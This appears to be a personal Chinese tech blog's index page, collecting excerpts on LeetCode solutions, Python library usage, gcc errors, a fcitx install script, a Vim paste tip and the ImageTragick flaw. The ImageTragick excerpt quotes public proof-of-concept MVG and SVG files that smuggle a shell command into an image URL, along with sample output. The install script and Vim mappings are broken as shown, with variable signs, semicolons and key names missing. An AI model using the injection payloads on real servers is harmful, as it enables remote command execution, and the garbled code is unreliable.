Carbon dioxide in the atmosphere

Carbon dioxide in the atmosphere

我们只不过是一群处于银河系边缘、散布在一颗以石头为主构成的行星上、绕着一颗毫无特色的中年恒星旋转的碳基猩猩后代。

Given an array of n integers where n > 1, nums, return an array output such that output[i] is equal to the product of all the elements of nums except nums[i].

Solve it without division and in O(n).

For example, given [1,2,3,4], return [24,12,8,6].

Solution:

class Solution(object):
    def productExceptSelf(self, nums):
        """
        :type nums: List[int]
        :rtype: List[int]
        """
        # output[i] = (x0 * x1 * ... * xi-1) * (xi+1 * .... * xn-1)
        size = len(nums)
        output = [1] * size
        left = 1
        for x in range(size - 1):
            left *= nums[x]
            output[x + 1] *= left
        right = 1
        for x in range(size - 1, 0, -1):
            right *= nums[x]
            output[x - 1] *= right
        return output

通过分析github上5000个开源python项目,找出最常用的库。下面是前670个。括号里的数字代表出现的频率,最大为5000。

1.os (2810)
2.sys (2563)
3.re (1986)
4.time (1478)
5.logging (1080)
6.datetime (1032)
7.unittest (960)
8.random (891)
9.urllib (776)
10.os.path (723)
11.string (659)
12.math (560)
13.socket (556)
14.types (548)
15.subprocess (529)
16.tempfile (492)
17.shutil (484)
18.threading (475)
19.traceback (473)
20.urllib2 (472)
21.copy (455)

Continue reading

日日重复同样的事,

遵循着与昨日相同的惯例,

若能避开猛烈的狂喜,

自然也不会有悲痛的来袭。

 

胆小鬼连幸福都会惧怕,

碰到棉花糖都会受伤,

有时也会被幸福所伤。

趁着还没有受伤,

我想就这样赶快分道扬镳。

我又放出了惯用的逗笑烟雾弹。

 

所谓世间,不就是你吗?

 

– Charles Coulomb, The Fallen Angel

Error Ⅰ :

gcc -o test test.cpp

test.c:1:20: iostream: No such file or directory

gcc是c的编译器,g++才有c++的iostream

Error Ⅱ :

undefined reference to `std::cout'

(1)gcc和g++都是GNU(组织)的一个编译器。

(2)后缀名为.c的程序和.cpp的程序g++都会当成是c++的源程序来处理。而gcc不然,gcc会把.c的程序处理成c程序。

(3)对于.cpp的程序,编译可以用gcc/g++,而链接可以用g++或者gcc -lstdc++。

今天安全圈里都在说ImageTragick,看了一下这个漏洞还专门搞出来一个官网,各种建站组件都出了问题,于是第一时间解决了本站的安全威胁。

关于 ImageTragick 漏洞:
https://imagetragick.com/

这个漏洞的生命线:

https://www.seebug.org/appdir/ImageMagick

官网上已经给出了好几种测试方法:

exploit.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

exploit.svg

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";>
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg"; xmlns:xlink=
"http://www.w3.org/1999/xlink";>
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

Example execution

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..

Continue reading

Q1: Given an array of integers, every element appears twice except for one. Find that single one.

Solution:

class Solution(object):
    def singleNumber(self, nums):
        """
        :type nums: List[int]
        :rtype: int
        """
        ans = nums[0]
        for i in range(1, len(nums)):
            ans = ans ^ nums[i]
        return ans

Continue reading

更换系统盘重装系统,又要给linux安装中文输入法,手动麻烦,而且安装顺序有依赖,上个脚本

#!/bin/bash
#
# The MIT License (MIT)
# Copyright (c) 2014 fishcried
# Improved by Henry in May 3rd. 2016
#

pkgs="fcitx-libs_4.2.8.5-2_amd64.deb \
	fcitx-libs-qt_4.2.8.5-2_amd64.deb \
	fcitx-bin_4.2.8.5-2_amd64.deb \
	fcitx-data_4.2.8.5-2_all.deb \
	fcitx-modules_4.2.8.5-2_amd64.deb \
	fcitx-module-dbus_4.2.8.5-2_amd64.deb \
	fcitx-module-kimpanel_4.2.8.5-2_amd64.deb \
	fcitx-module-lua_4.2.8.5-2_amd64.deb \
	fcitx-module-x11_4.2.8.5-2_amd64.deb \
	fcitx_4.2.8.5-2_all.deb \
	fcitx-tools_4.2.8.5-2_amd64.deb \
	fcitx-ui-classic_4.2.8.5-2_amd64.deb "

ftpaddr="http://http.kali.org/pool/main/f/fcitx/"

for pkg in pkgs do 	echo "wget  ftpaddr/pkg && dpkg -i pkg "
	wget  ftpaddr/pkg && dpkg -i pkg  done  #dpkg -i 1

安装之后解决依赖:

root@kali:~# apt-get install -f

下载官方deb包dpkg -i安装,over.

当Vim的自动缩进打开的时候,你粘贴到终端Vim的code会出现缩进错乱的情况。当然这个问题只是出现在从其他应用里面复制内容,并且不是用的MacVim或者Gui Vim的时候.

原因是在终端的vim中没有相应的程序来处理这个从其他应用复制粘贴的过程,所以Vim通过插入键盘输入的buffer来模拟这个粘贴的过程,这个时候Vim会以为这是用户输入的。

问题就是出在这:当上一行结束,光标进入下一行时Vim会自动以上一行的的缩进为初始位置。这样就会破坏原始文件的缩进。

好在Vim提供了past和pastetoggle选项,你只要把这一行加入你的vimrc文件。

set pastetoggle=<F2>

还有更高级的,可以在状态栏中显示paste

nnoremap  :set invpaste paste?
imap  :set invpaste paste?
set pastetoggle=<F2>